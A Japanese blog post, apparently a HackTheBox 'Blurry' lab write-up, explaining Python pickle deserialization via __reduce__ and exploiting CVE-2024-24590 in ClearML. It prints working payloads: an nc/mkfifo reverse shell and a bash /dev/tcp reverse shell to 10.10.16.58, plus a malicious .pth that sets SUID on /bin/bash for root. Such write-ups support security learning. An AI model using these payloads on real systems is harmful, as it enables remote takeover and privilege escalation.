0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox/Blurryで学んだPythonの脆弱性

Posted at

HackTheBox/Blurry

今回はBlurryです。名前の由来はclearMLに対抗しているからでしょうか。:dark_sunglasses:
主な流れはclearMLの脆弱性にCVE-2024-24590を実行して侵入し、そこからの権限昇格でrootになるというものです。
おそらくこのMachineでは、reduceメソッドを使ったPythonの脆弱性を学ばせたい意図があるのではないでしょうか。随所でreduceメソッドを見つけます。
Blurry.jpg

pickle

Pythonの組み込みモジュールで、Pythonオブジェクトをバイトストリームに直列化(シリアライズ)したり、バイトストリームからオブジェクトに復元(デシリアライズ)したりするために使用されます。
シリアライズすることで、データの永続化、転送が可能になります。

そこでreduceメソッドが脆弱性になり得るということです。

reduceメソッド

要するにシリアライズされたpickleがデシリアライズされる際にreduceメソッドが任意のオブジェクトを実行するとのことです。
ネットで拾ってきたコードですが

import torch
import os

class Payload:
    def __reduce__(self):
        return (os.system, ("whoami",))

evil = Payload()
torch.save(evil, 'evil.pth')

これが基本形のようです。

これをpythonで実行するとevil.pthという名前のシリアライズされたファイルが生成されます。それがデシリアライズされた際に"whoami"が実行されるようです。つまり、"whoami"の部分を書き換えれば任意のコマンドが実行できます。

CVE-2024-24590

いつものごとくネットで見つけた複数の記事を参考に攻略を進めていきます。
これは、とあるサイトから拾ってきたCVE-2024-24590のコードです。ClearML exploitで検索すると出てきます。
CVE-2024-24590-1.PNG

class Pickle:
    def __reduce__(self):
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.58 9001 >/tmp/f"
        return os.system, (cmd,)

ここですね。
そしておなじみの "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.58 9001 >/tmp/f"があります。

ncでリバースシェルを待ち受けると:rolling_eyes:

intrude9001.PNG

侵入することが出来ました:ok_hand_tone2:

権限昇格

sudo -l の実行結果

sudo -l.PNG

/usr/bin/evaluate_model /models/*.pthが実行できることを確認しました。
*.pthこれは、(;゚Д゚)。。。
pthを作りなさいという暗示ではҨ ( º_º )
つまりpthファイルを読み込ませて権限昇格しなさいということ:thinking:

先ほどの基本形を書き換えると

import torch
import os

class Payload:
    def __reduce__(self):
        return (os.system, ("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.58/4444 0>&1'",))

evil = Payload()
torch.save(evil, 'evil.pth')

これをcreate-pth-2として保存します。おなじみの"/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.58/4444 0>&1'"ですね。
ncでリバースシェルを待ち受けて、生成されたevil.pthを/usr/bin/evaluate_modelで実行すると

execute create-pth-2.PNG
rootになれました:v_tone2:

もう一つ改竄したコードも試します。

import torch
import os

class Payload:
    def __reduce__(self):
        return (os.system, ("chmod u+s /bin/bash",))

evil = Payload()
torch.save(evil, 'evil-2.pth')

今度は侵入先のbashにSUIDを付加します。
これをcreate-pth-3として保存します。そしてpython3で実行してevil-2.pthの生成。
evil-2.pthを/usr/bin/evaluate_modelで実行してからのbash -p→rootになれました。:v_tone2:execute create-pth-3.PNG

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?